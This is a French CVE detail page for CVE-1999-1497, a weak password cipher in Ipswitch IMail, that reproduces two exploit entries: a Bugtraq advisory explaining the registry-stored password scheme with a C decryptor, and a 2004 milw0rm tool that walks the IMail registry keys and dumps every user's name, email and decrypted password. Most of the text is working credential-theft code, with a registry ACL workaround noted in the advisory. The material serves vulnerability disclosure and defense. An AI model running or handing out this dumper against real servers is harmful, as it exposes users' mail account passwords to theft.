CVE-1999-1497 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

// source: https://www.securityfocus.com/bid/880/info IMail keeps the encrypted passwords for email accounts in a registry key, HKLM\SOFTWARE\Ipswitch\Imail\Domains\(DomainName)\Users\(UserName), in a string value called "Password". The encryption scheme used is weak and has been broken. The following description of the mechanism used is quoted from Matt Conover's post to Bugtraq, linked to in full in the Credits section. ENCRYPTION SCHEME Take the lowercase of the account name, split it up by letter and convert each letter to its ASCII equivalent. Next, find the difference between each letter and the first letter. Take each letter of the password, find it's ASCII equivalent and add the offset (ASCII value of first char of the account name minus 97) then subtract the corresponding difference. Use the differences recursively if the password length is greater than the length of the account name. This gives you the character's new ASCII value. Next, Look it up the new ASCII value in the ASCII-ENCRYPTED table (see http://www.w00w00.org/imail_map.txt) and you now have the encrypted letter. Example: Account Name: mike m = 109 i = 105 k = 107 e = 101 Differences: First - First: 0 First - Second: 4 First - Third: 2 First - Fourth: 8 Unencrypted Password: rocks r = 114 o = 111 c = 99 k = 107 s = 115 (ASCII value + offset) - difference: offset: (109 - 97) = 12 (114 + 12) - 0 = 126 (111 + 12) - 4 = 119 (99 + 12) - 2 = 109 (107 + 12) - 8 = 111 (115 + 12) - 0 = 127 126 = DF 119 = D8 109 = CE 111 = D0 127 = E0 Encrypted Password: DFD8CED0E0 The decryption scheme is a little easier. First, like the encryption scheme, take the account name, split it up by letter and convert each letter to its ASCII equivalent. Next, find the difference between each letter and the first letter. Now split the encrypted password by two characters (e.g., EFDE = EF DE) then look up their ASCII equivalent within the ASCII-ENCRYPTED table (see http://www.w00w00.org/imail_map.txt). Take that ASCII value and add the corresponding difference.Look this value up in the ascii table. This table is made by taking the ASCII value of the first character of the account name and setting it equal to 'a'. EXAMPLE Account Name: mike m = 109 i = 105 k = 107 e = 101 Differences: First - First: 0 First - Second: 4 First - Third: 2 First - Fourth: 8 Encrypted Password: DFD8CED0E0 DF = 126 D8 = 119 CE = 109 D0 = 111 E0 = 127 Add Difference: 126 + 0 = 126 119 + 4 = 123 109 + 2 = 111 111 + 8 = 119 127 + 0 = 127 Look up in table (see http://www.w00w00.org/imail_map.txt): 126 = r 123 = o 111 = c 119 = k 127 = s Unencrypted Password: rocks /* * IMail password decryptor * By: Mike Davis (mike@eEye.com) * * Thanks to Marc and Jason for testing and their general eliteness. * Usage: imaildec <account name> <encrypted password> * */ #include <stdio.h> #include <stdlib.h> #include <memory.h> void usage (char *); int search (char *); int eql (char *, char *); int lc (int); int strlen(); struct { char *string; int o; } hashtable[255]; struct { char *string; } encrypted[60]; char *list = "0123456789ABCDEF"; int alpha[95] = { 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126 }; int main (int argc, char *argv[]) { int i, j, k, ascii, start, diffs[66], num, loop; char asciic[155]; if (argc <= 2 || argc > 3) usage (argv[0]); if (strlen (argv[2]) > 62) { printf ("\nERROR: Please enter an encrypted password less than 60 " "characters.\n\n"); usage (argv[0]); } printf ("IMail password decryptor\nBy: Mike <Mike@eEye.com>\n\n"); ascii = -97; /* Make the hash table we will need to refer to. */ for (i = 0, start = 0; i < strlen (list); i++) { for (k = 0; k < strlen (list); k++) { hashtable[start].string = (char *) malloc (3); sprintf (hashtable[start].string, "%c%c", list[i], list[k]); hashtable[start].o = ascii++; /* Don't want to skip one! */ if ((k + 1) != strlen (list)) start++; } start++; } for (k = 0, start = 0; k < strlen (argv[1]); k += strlen (argv[1])) { for (j = k; j < k + strlen (argv[2]); j += 2, start++) { encrypted[start].string = (char *) malloc (3); sprintf (encrypted[start].string, "%c%c", argv[2][j], argv[2][j + 1]); } } for (j = 0, start = 0; j < strlen(argv[2]) / strlen(argv[1]); j++) for (i = 0; i < strlen (argv[1]); i++, start++) diffs[start] = (lc(argv[1][0]) - lc(argv[1][i])); printf ("Account Name: %s\n", argv[1]); printf ("Encrypted: "); for (i = 0; i < strlen (argv[2]) / 2; i++) printf ("%s", encrypted[i]); putchar('\n'); printf ("Unencrypted: "); for (i = 0, loop = 0; i < strlen (argv[2]) / 2; i++, loop++) { num = search (encrypted[i].string) + diffs[i]; if (loop == 0) { /* Make alphabet */ for (j = lc (argv[1][0]) - 65, start = 0; j <= lc (argv[1][0]) + 29; j++, start++) { asciic[j] = alpha[start]; } } putchar(asciic[num]); } putchar('\n'); return 0; } int search (char *term) { register int n; for (n = 0; n < 255; n++) if (hashtable[n].string && eql (hashtable[n].string, term)) return hashtable[n].o; return 0; } int eql (char *first, char *second) { register int i; for (i = 0; first[i] && (first[i] == second[i]); i++); return (first[i] == second[i]); } int lc (int letter) { if (letter >= 'A' && letter <= 'Z') return letter + 'a' - 'A'; else return letter; } void usage (char *name) { printf ("IMail password decryptor\n"); printf ("By: Mike (Mike@eEye.com)\n\n"); printf ("Usage: %s <account name> <encrypted string>\n", name); printf ("E.g., %s crypto CCE5DFE5E2\n", name); exit (0); } --------------------------------------------------------------------------- Patch: Ipswitch was notified of this advisory last week, and they have not responded. They released a never version afterwards, but we cannot confirm whether or not this latest version, 6.01 fixes the vulnerability. Their site says: This patch fixes problems with POP server and IAdmin application, including external database authentication problems and possible password corruption problems. Until we have positive confirmation, you can set an ACL on each registry key containing the password to prevent normal users (while still allowing IMail) from viewing other users' passwords. You are safe to remove read permissions on these registry keys--they will not affect IMail (as it doesn't run with user privileges). --------------------------------------------------------------------------- People that deserve hellos: eEye, USSR, and Interrupt w00sites: http://www.attrition.org http://www.eEye.com http://www.ussrback.com

/********************************************************************************* * IpSwitch IMail Server <= ver 8.1 User Password Decryption * * by Adik < netmaniac hotmail KG > * * IpSwitch IMail Server uses weak encryption algorithm to encrypt its user passwords. It uses * polyalphabetic Vegenere cipher to encrypt its user passwords. This encryption scheme is * relatively easy to break. In order to decrypt user password we need a key. IMail uses username * as a key to encrypt its user passwords. The server stores user passwords in the registry under the key * "HKEY_LOCAL_MACHINE\SOFTWARE\IpSwitch\IMail\Domains\<domainname>\Users\<username>\Password". * Before decrypting password convert all upper case characters in the username to lower case * characters. We use username as a key to decrypt our password. * In order to get our plain text password, we do as follows: * 1) Subtract hex code of first password hash character by the hex code of first username character. * The resulting hex code will be our first decrypted password character. * 2) Repeat above step for the rest of the chars. * * Look below, everythin is dead simple ;) * eg: * * USERNAME: netmaniac * PASSWORDHASH: D0CEE7D5CCD3D4C7D2E0CAEAD2D3 * -------------------------------------------- * * D0 CE E7 D5 CC D3 D4 C7 D2 E0 CA EA D2 D3 <- password hash * - 6E 65 74 6D 61 6E 69 61 63 6E 65 74 6D 61 <- hex codes of username * n e t m a n i a c n e t m a <- username is a key * ----------------------------------------- * 62 69 73 68 6B 65 6B 66 6F 72 65 76 65 72 <- hex codes of decrypted password * b i s h k e k f o r e v e r <- actual decrypted password * * * pwdhash_hex_code username_hex_code decrypted_password * ------------------------------------------------------------------ * D0 - 6E (n) = 62 (b) * CE - 65 (e) = 69 (i) * E7 - 74 (t) = 73 (s) * D5 - 6D (m) = 68 (h) * CC - 61 (a) = 6B (k) * D3 - 6E (n) = 65 (e) * D4 - 69 (i) = 6B (k) * C7 - 61 (a) = 66 (f) * D2 - 63 (c) = 6F (o) * E0 - 6E (n) = 72 (r) * CA - 65 (e) = 65 (e) * EA - 74 (t) = 76 (v) * D2 - 6D (m) = 65 (e) * D3 - 61 (a) = 72 (r) * ------------------------------------------------------------------ * * I've included a lil proggie to dump all the usernames/passwords from local machine's registry. * Have fun! * //Send bug reports to netmaniac[at]hotmail.KG * * Greets to: my man wintie from .au, Chintan Trivedi :), jin yean ;), Morphique * * [16/August/2004] Bishkek *********************************************************************************/ //#include "stdafx.h" #include <stdio.h> #include <stdlib.h> #include <string.h> #include <ctype.h> #include <windows.h> #define snprintf _snprintf #pragma comment(lib,"advapi32") #define ALLOWED_USERNAME_CHARS "A-Z,a-z,0-9,-,_,." #define MAX_NUM 1024 //500 #define DOMAINZ "Software\\IpSwitch\\IMail\\Domains" #define VER "1.1" #define MAXSIZE 100 int total_accs=0; int total_domainz=0,total_domain_accs=0; /*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/ void greetz() { printf( "\n\t--= [ IpSwitch IMail Server User Password Decrypter ver %s] =--\n\n" "\t\t (c) 2004 by Adik ( netmaniac [at] hotmail.KG )\n\n\n",VER); } /*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/ void usage() { printf( "------------------------------------------------------------------------\n"); printf( " Imailpwdump [-d] -- Dumps IMail Server user/pwds from local registry\n\n" " Imailpwdump [username] [passwordhash] -- User/PwdHash to decrypt\n\n" " eg: Imailpwdump netmaniac D0CEE7D5CCD3D4C7D2E0CAEAD2D3\n"); printf( "------------------------------------------------------------------------\n"); } /*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/ void str2hex(char *hexstring, char *outbuff) { unsigned long tmp=0; char tmpchr[5]=""; memset(outbuff,0,strlen(outbuff)); if(strlen(hexstring) % 2) { printf(" Incorrect password hash!\n"); exit(1); } if(strlen(hexstring)>MAXSIZE) { printf(" Password hash is too long! \n"); exit(1); } for(unsigned int i=0, c=0; i<strlen(hexstring); i+=2, c++) { memcpy(tmpchr,hexstring+i,2); tmp = strtoul(tmpchr,NULL,16); outbuff[c] = (char)tmp; } } /*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/ void str2smallcase(char *input) { if(strlen(input)>MAXSIZE) { printf(" Username too long! \n"); return; } for(unsigned int i=0;i<strlen(input);i++) { if(isalnum(input[i]) || input[i] == '-' || input[i]=='_' || input[i]=='.') input[i] = tolower(input[i]); else { printf(" Bad characters in username!\n Allowed characters: %s\n",ALLOWED_USERNAME_CHARS); return; } } } /*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/ void populate(char *input,unsigned int size) { char tmp[MAX_NUM]=""; unsigned int strl = strlen(input); strcpy(tmp,input); //netmaniacnetmaniacnetman for(unsigned int i=strlen(input),c=0;i<size;i++,c++) { if(c==strl) c=0; input[i] = tmp[c]; } input[i]='\0'; } /*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/ void imail_decrypt(char *username, char *pwdhash,char *outbuff) { //adik 123456 //adikbek 123 if(strlen(pwdhash) <= strlen(username) ) { memset(outbuff,0,sizeof(outbuff)); for(unsigned int i=0;i<strlen(pwdhash);i++) outbuff[i] = (pwdhash[i]&0xff) - (username[i]&0xff); outbuff[i]='\0'; } } /*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/ void get_usr_pwds(char *subkey,char *usr) { long res; HKEY hPwdKey; char username[MAXSIZE]=""; char passwdhash[MAXSIZE*2]="", passwd[MAXSIZE]="",clearpasswd[MAXSIZE]=""; char fullname[MAXSIZE]=""; char email[MAXSIZE]=""; DWORD lType; DWORD passwdhashsz=sizeof(passwdhash)-1,fullnamesz=MAXSIZE-1,emailsz=MAXSIZE-1; res = RegOpenKeyEx(HKEY_LOCAL_MACHINE,subkey,0,KEY_ALL_ACCESS,&hPwdKey); if(res!=ERROR_SUCCESS) { printf(" Error opening key %s! Error #:%d\n",subkey,res); exit(1); //return; } if(RegQueryValueEx(hPwdKey,"Password",0,&lType,(LPBYTE)passwdhash,&passwdhashsz)!= ERROR_SUCCESS) { RegCloseKey(hPwdKey); return; } if(RegQueryValueEx(hPwdKey,"FullName",0,&lType,(LPBYTE)fullname,&fullnamesz)!= ERROR_SUCCESS) { RegCloseKey(hPwdKey); return; } if(RegQueryValueEx(hPwdKey,"MailAddr",0,&lType,(LPBYTE)email,&emailsz)!=ERROR_SUCCESS) { RegCloseKey(hPwdKey); return; } str2smallcase(usr); strncpy(username,usr,sizeof(username)-1); str2hex(passwdhash,passwd); // adik 1234567 // adik 12 if(strlen(passwd)>strlen(username)) populate(username,strlen(passwd)); imail_decrypt(username,passwd,clearpasswd); printf( "------------------------------------------------------------------------\n" " FullName:\t %s\n" " Email:\t\t %s\n" " Username:\t %s\n" " Password:\t %s\n", fullname,email,usr,clearpasswd); total_accs++; RegCloseKey(hPwdKey); } /*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/ void dump_registry_pwds() { HKEY hKey,hUserKey; DWORD domRes=0,usrRes=0, domlen=0,userlen=0,domIndex=0,userIndex=0; FILETIME ftime; char domain[150]=""; char user[150]=""; char tmpbuff[MAX_NUM]=""; char usrtmpbuff[MAX_NUM]=""; domRes = RegOpenKeyEx(HKEY_LOCAL_MACHINE,DOMAINZ,0,KEY_ALL_ACCESS,&hKey); if(domRes!=ERROR_SUCCESS) { printf(" Error opening key '%s'!\n IMail not installed?? Error #:%d\n",DOMAINZ,domRes); exit(1); } do { domlen=sizeof(domain)-1; domRes=RegEnumKeyEx(hKey,domIndex,domain,&domlen,NULL,NULL,NULL,&ftime); if(domRes!=ERROR_NO_MORE_ITEMS) { printf("\n DOMAIN:\t [ %s ]\n",domain); userIndex=0; total_accs=0; snprintf(tmpbuff,sizeof(tmpbuff)-1,"%s\\%s\\Users",DOMAINZ,domain); usrRes = RegOpenKeyEx(HKEY_LOCAL_MACHINE,tmpbuff,0,KEY_ALL_ACCESS,&hUserKey); if(usrRes==ERROR_SUCCESS) { //adik do { userlen=sizeof(user)-1; usrRes=RegEnumKeyEx(hUserKey,userIndex,user,&userlen,NULL,NULL,NULL,&ftime); if(usrRes!=ERROR_NO_MORE_ITEMS) { snprintf(usrtmpbuff,sizeof(usrtmpbuff)-1,"%s\\%s\\Users\\%s",DOMAINZ,domain,user); get_usr_pwds(usrtmpbuff,user); } userIndex++; } while(usrRes!=ERROR_NO_MORE_ITEMS); RegCloseKey(hUserKey); printf("\n\t Total:\t %d Accounts\n",total_accs); total_domain_accs += total_accs; total_domainz++; } domIndex++; } } while(domRes != ERROR_NO_MORE_ITEMS); RegCloseKey(hKey); //total_domains += dom printf("\n Total:\t %d Domains, %d Accounts\n",total_domainz,total_domain_accs); } /*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/ void decrypt_usr_pass(char *usr,char *passwd) { char username[MAX_NUM]=""; char passwordhash[MAX_NUM]=""; char outputbuff[250]=""; str2smallcase(usr); strncpy(username,usr,sizeof(username)-1); str2hex(passwd,passwordhash); printf("------------------------------------------------------------------------\n"); printf( " Username:\t\t %s\n" " Passwordhash:\t\t %s\n",usr,passwd); if(strlen(passwordhash)>strlen(username)) populate(username,strlen(passwordhash)); imail_decrypt(username,passwordhash,outputbuff); printf(" Decrypted passwd:\t %s\n",outputbuff); printf("------------------------------------------------------------------------\n"); } /*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/ void main(int argc, char *argv[]) { greetz(); if(argc ==2 && strncmp(argv[1],"-d",2)==0 ) { //dump passwd from registry dump_registry_pwds(); } else if(argc == 3 && strncmp(argv[1],"-d",2)!=0) { //decrypt username passwd decrypt_usr_pass(argv[1],argv[2]); } else { usage(); return; } // ThE eNd } /*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/ // milw0rm.com [2004-08-18]